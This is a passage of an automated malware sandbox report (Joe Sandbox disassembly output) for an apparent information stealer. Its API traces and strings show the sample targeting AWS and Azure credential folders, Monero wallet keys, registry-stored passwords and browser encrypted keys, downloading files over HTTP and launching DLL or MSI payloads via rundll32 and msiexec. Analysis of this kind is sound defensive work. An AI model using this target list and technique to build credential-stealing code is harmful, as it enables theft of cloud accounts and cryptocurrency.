Part of subcall function 00604910: wsprintfA.USER32 ref: 006049B0
Part of subcall function 00604910: StrCmpCA.SHLWAPI(?,006108D2), ref: 006049C5
Part of subcall function 00604910: wsprintfA.USER32 ref: 006049E2
Part of subcall function 00604910: PathMatchSpecA.SHLWAPI(?,?), ref: 00604A1E
Part of subcall function 00604910: lstrcat.KERNEL32(?,0140E540), ref: 00604A4A
Part of subcall function 00604910: lstrcat.KERNEL32(?,00610FF8), ref: 00604A5C
Part of subcall function 00604910: lstrcat.KERNEL32(?,?), ref: 00604A70
Part of subcall function 00604910: lstrcat.KERNEL32(?,00610FFC), ref: 00604A82
Part of subcall function 00604910: lstrcat.KERNEL32(?,?), ref: 00604A96
Part of subcall function 00604910: CopyFileA.KERNEL32(?,?,00000001), ref: 00604AAC
Part of subcall function 00604910: DeleteFileA.KERNEL32(?), ref: 00604B31

Strings

msal.cache, xrefs: 00604EF0
\.IdentityService\, xrefs: 00604ED9
\.aws\, xrefs: 00604E4D
Azure\.IdentityService, xrefs: 00604EEB
\.azure\, xrefs: 00604DC1
Azure\.aws, xrefs: 00604E5F
*.*, xrefs: 00604E64
Azure\.azure, xrefs: 00604DD3
*.*, xrefs: 00604DD8

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 8a40b5a59e550acb154e8379522c7068b74687b757607c9e100ce57a9251a29a
Instruction ID: 51a49cc06037d3f6065c53549d29911bde00a64f13c7d8e1c23549a4e48a6d76
Opcode Fuzzy Hash: 8a40b5a59e550acb154e8379522c7068b74687b757607c9e100ce57a9251a29a
Instruction Fuzzy Hash: 7A41B6BA94030867CB54F770DC47FEE7339AB64701F0049587685660C1EDB59BC9CB92

Function 00609010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0060906C

Strings

image/jpeg, xrefs: 00609136

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: d13d7e5c20c23bfc8a4c610557e5c61ff0b4ddc489abb1400cd0608f265b24e7
Instruction ID: 15546eac6c6e5539e59742dc4c6c350df80c84af1ca58784b83cdf709e5a938c
Opcode Fuzzy Hash: d13d7e5c20c23bfc8a4c610557e5c61ff0b4ddc489abb1400cd0608f265b24e7
Instruction Fuzzy Hash: FC710F71950208EBDB08EFE4DC89FEEB7B9BF88700F108518F655A7290DB75A905CB61

Function 00602E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

ShellExecuteEx.SHELL32(0000003C), ref: 006031C5
ShellExecuteEx.SHELL32(0000003C), ref: 0060335D
ShellExecuteEx.SHELL32(0000003C), ref: 006034EA

Strings

<, xrefs: 00603490
/passive, xrefs: 0060345B
C:\Windows\system32\rundll32.exe, xrefs: 00603332
C:\Windows\system32\msiexec.exe, xrefs: 006034BF
"" , xrefs: 0060309A
.msi, xrefs: 00603398
.dll, xrefs: 006031E5
/i ", xrefs: 006033E4

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 11acb0c8cbdd02118cf76125a9d3be87f9a51f096a9ddfe9bd8a7b1b546b2fa1
Instruction ID: bf8a010623982e30b19507ac0f113856399dd5a0351b1e8fa901ad5958e85637
Opcode Fuzzy Hash: 11acb0c8cbdd02118cf76125a9d3be87f9a51f096a9ddfe9bd8a7b1b546b2fa1
Instruction Fuzzy Hash: 7B120C718902089ADB4DEBE0CC92FEFB73AAF54340F50815DE506661D1EF702B4ACB5A

Function 006052C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0060A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0060A7E6

Part of subcall function 005F6280: InternetOpenA.WININET(00610DFE,00000001,00000000,00000000,00000000), ref: 005F62E1
Part of subcall function 005F6280: StrCmpCA.SHLWAPI(?,0140E430), ref: 005F6303
Part of subcall function 005F6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005F6335
Part of subcall function 005F6280: HttpOpenRequestA.WININET(00000000,GET,?,0140DB30,00000000,00000000,00400100,00000000), ref: 005F6385
Part of subcall function 005F6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005F63BF
Part of subcall function 005F6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005F63D1

Part of subcall function 0060A8A0: lstrcpy.KERNEL32(?,00610E17), ref: 0060A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00605318
lstrlen.KERNEL32(00000000), ref: 0060532F

Part of subcall function 00608E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00608E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00605364
lstrlen.KERNEL32(00000000), ref: 00605383
lstrlen.KERNEL32(00000000), ref: 006053AE

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

Strings

ERROR, xrefs: 006053B9
ERROR, xrefs: 0060546F
ERROR, xrefs: 0060530A
ERROR, xrefs: 006054A9
ERROR, xrefs: 00605432

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: d2d065f1b8e45969484ae42904a133efdf972342993c7e6be5d5eb88ac1e6273
Instruction ID: 01b1a093e19fc62cd9cb3f21ee9b3e9dff47fdc16341fe2bfec6fc69ebf3cd51
Opcode Fuzzy Hash: d2d065f1b8e45969484ae42904a133efdf972342993c7e6be5d5eb88ac1e6273
Instruction Fuzzy Hash: B6511B309502089BCB9CEFA0CD96EEF777AAF54340F508018E9065A1D1EF346B46CB66

Function 006012D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 8db862d865f0246663dd2660de8184ab36086e48d3bbf71d8a8818e68480de78
Instruction ID: cacfbd884277180768222a4762ba334a8a435372467b964ea402049f7c944ae7
Opcode Fuzzy Hash: 8db862d865f0246663dd2660de8184ab36086e48d3bbf71d8a8818e68480de78
Instruction Fuzzy Hash: 5FC193B59402089BCB58EF60DC89FEB777ABF64300F00459CF50A672C1EA70AA85CF95

Function 00604280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00608DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00608E0B

lstrcat.KERNEL32(?,00000000), ref: 006042EC
lstrcat.KERNEL32(?,0140DB48), ref: 0060430B
lstrcat.KERNEL32(?,?), ref: 0060431F
lstrcat.KERNEL32(?,0140CEE0), ref: 00604333

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

Part of subcall function 00608D90: GetFileAttributesA.KERNEL32(00000000,?,005F1B54,?,?,0061564C,?,?,00610E1F), ref: 00608D9F

Part of subcall function 005F9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 005F9D39

Part of subcall function 005F99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005F99EC
Part of subcall function 005F99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005F9A11
Part of subcall function 005F99C0: LocalAlloc.KERNEL32(00000040,?), ref: 005F9A31
Part of subcall function 005F99C0: ReadFile.KERNEL32(000000FF,?,00000000,005F148F,00000000), ref: 005F9A5A
Part of subcall function 005F99C0: LocalFree.KERNEL32(005F148F), ref: 005F9A90
Part of subcall function 005F99C0: CloseHandle.KERNEL32(000000FF), ref: 005F9A9A

Part of subcall function 006093C0: GlobalAlloc.KERNEL32(00000000,006043DD,006043DD), ref: 006093D3

StrStrA.SHLWAPI(?,0140DB00), ref: 006043F3
GlobalFree.KERNEL32(?), ref: 00604512

Part of subcall function 005F9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N_,00000000,00000000), ref: 005F9AEF
Part of subcall function 005F9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,005F4EEE,00000000,?), ref: 005F9B01
Part of subcall function 005F9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N_,00000000,00000000), ref: 005F9B2A
Part of subcall function 005F9AC0: LocalFree.KERNEL32(?,?,?,?,005F4EEE,00000000,?), ref: 005F9B3F

lstrcat.KERNEL32(?,00000000), ref: 006044A3
StrCmpCA.SHLWAPI(?,006108D1), ref: 006044C0
lstrcat.KERNEL32(00000000,00000000), ref: 006044D2
lstrcat.KERNEL32(00000000,?), ref: 006044E5
lstrcat.KERNEL32(00000000,00610FB8), ref: 006044F4

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 0a349363cf4564b1adabc2775383797f40d968d855fc69e778396edf5a07b068
Instruction ID: af3ca023e8845ce3af380a7297a5a129fd24f9e34e70fc4ae620bf89d6b9daa6
Opcode Fuzzy Hash: 0a349363cf4564b1adabc2775383797f40d968d855fc69e778396edf5a07b068
Instruction Fuzzy Hash: 467165B6900208ABCB58FBE4DC89FEE7779BB88300F048598F64597181EA75DB45CF91

Function 005F1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 005F12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005F12B4
Part of subcall function 005F12A0: RtlAllocateHeap.NTDLL(00000000), ref: 005F12BB
Part of subcall function 005F12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 005F12D7
Part of subcall function 005F12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 005F12F5
Part of subcall function 005F12A0: RegCloseKey.ADVAPI32(?), ref: 005F12FF

lstrcat.KERNEL32(?,00000000), ref: 005F134F
lstrlen.KERNEL32(?), ref: 005F135C
lstrcat.KERNEL32(?,.keys), ref: 005F1377

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

Part of subcall function 0060A9B0: lstrlen.KERNEL32(?,01408AA0,?,\Monero\wallet.keys,00610E17), ref: 0060A9C5
Part of subcall function 0060A9B0: lstrcpy.KERNEL32(00000000), ref: 0060AA04
Part of subcall function 0060A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AA12

Part of subcall function 0060A8A0: lstrcpy.KERNEL32(?,00610E17), ref: 0060A905

Part of subcall function 00608B60: GetSystemTime.KERNEL32(00610E1A,01409EE8,006105AE,?,?,005F13F9,?,0000001A,00610E1A,00000000,?,01408AA0,?,\Monero\wallet.keys,00610E17), ref: 00608B86

Part of subcall function 0060A920: lstrcpy.KERNEL32(00000000,?), ref: 0060A972
Part of subcall function 0060A920: lstrcat.KERNEL32(00000000), ref: 0060A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 005F1465

Part of subcall function 0060A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0060A7E6

Part of subcall function 005F99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005F99EC
Part of subcall function 005F99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005F9A11
Part of subcall function 005F99C0: LocalAlloc.KERNEL32(00000040,?), ref: 005F9A31
Part of subcall function 005F99C0: ReadFile.KERNEL32(000000FF,?,00000000,005F148F,00000000), ref: 005F9A5A
Part of subcall function 005F99C0: LocalFree.KERNEL32(005F148F), ref: 005F9A90
Part of subcall function 005F99C0: CloseHandle.KERNEL32(000000FF), ref: 005F9A9A

DeleteFileA.KERNEL32(00000000), ref: 005F14EF

Strings

\Monero\wallet.keys, xrefs: 005F138D
SOFTWARE\monero-project\monero-core, xrefs: 005F1335
.keys, xrefs: 005F136B
wallet_path, xrefs: 005F1330

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 8c7cdbfd809d1f9d4b03f62a74d1a64af7e7f939173b8a5330de562458b10b11
Instruction ID: 815c5d96aaca3641d0d2ee6bb7bc9e4cef24aa614c2390caa2fb0cdb98d9b83c
Opcode Fuzzy Hash: 8c7cdbfd809d1f9d4b03f62a74d1a64af7e7f939173b8a5330de562458b10b11
Instruction Fuzzy Hash: 925145B199021957CB59FB60DD96FEE733DAF54300F4045ACB60A620C1EE345B85CF99

Function 005F75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005F72D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 005F733A
Part of subcall function 005F72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 005F73B1
Part of subcall function 005F72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 005F740D
Part of subcall function 005F72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 005F7452
Part of subcall function 005F72D0: HeapFree.KERNEL32(00000000), ref: 005F7459

lstrcat.KERNEL32(00000000,006117FC), ref: 005F7606
lstrcat.KERNEL32(00000000,00000000), ref: 005F7648
lstrcat.KERNEL32(00000000, : ), ref: 005F765A
lstrcat.KERNEL32(00000000,00000000), ref: 005F768F
lstrcat.KERNEL32(00000000,00611804), ref: 005F76A0
lstrcat.KERNEL32(00000000,00000000), ref: 005F76D3
lstrcat.KERNEL32(00000000,00611808), ref: 005F76ED
task.LIBCPMTD ref: 005F76FB

Strings

: , xrefs: 005F764E

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 56e11a472ef9f857103d384961acf515fa9ef3cb699b21deee0eff0ca43467ce
Instruction ID: 9edfc294f424477184dab46a67c3335889faba86e45a2dd033f95f421e7af064
Opcode Fuzzy Hash: 56e11a472ef9f857103d384961acf515fa9ef3cb699b21deee0eff0ca43467ce
Instruction Fuzzy Hash: 9E31407190110EDFCB48EBB4DC9ADFF7B79BB98301B144518F202A72A1DA39E946CB51

Function 005F60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0060A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0060A7E6

Part of subcall function 005F47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005F4839
Part of subcall function 005F47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 005F4849

InternetOpenA.WININET(00610DF7,00000001,00000000,00000000,00000000), ref: 005F610F
StrCmpCA.SHLWAPI(?,0140E430), ref: 005F6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 005F618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 005F61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 005F61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 005F620A
CloseHandle.KERNEL32(?,?,00000400), ref: 005F6249
InternetCloseHandle.WININET(?), ref: 005F6253
InternetCloseHandle.WININET(00000000), ref: 005F6260

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
